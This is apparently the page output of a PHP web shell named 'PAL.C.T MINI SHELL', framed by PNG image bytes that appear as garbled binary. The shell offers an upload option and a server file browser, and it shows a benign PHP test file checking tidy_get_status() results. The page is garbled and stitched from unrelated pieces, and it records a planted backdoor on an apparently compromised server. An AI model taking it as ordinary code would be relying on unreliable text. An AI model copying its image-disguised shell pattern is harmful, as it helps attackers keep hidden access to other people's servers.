php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /php-7.1.11/ext/tidy/tests/
upload
files >> //php-7.1.11/ext/tidy/tests/tidy_error.phpt

--TEST--
Ensure tidy_get_status() returns correct status
--CREDITS--
Stefan Priebsch
--SKIPIF--
<?php
 if (!extension_loaded("tidy")) print "skip tidy extension not loaded";
?>
--FILE--
<?php

$html = '<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 3.2//EN">
<html>
<head>
<title></title>
</head>
<body>
<p>paragraph</p>
</body>
</html>';
$tidy = tidy_parse_string($html);

echo tidy_get_status($tidy);
// status 0 indicates no errors or warnings

$html = '<p>paragraph</i>';
$tidy = tidy_parse_string($html);

echo tidy_get_status($tidy);
// status 1 indicates warnings

$html = '<bogus>test</bogus>';
$tidy = tidy_parse_string($html);

echo tidy_get_status($tidy);
// status 2 indicates error

?>
--EXPECT--
012

y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`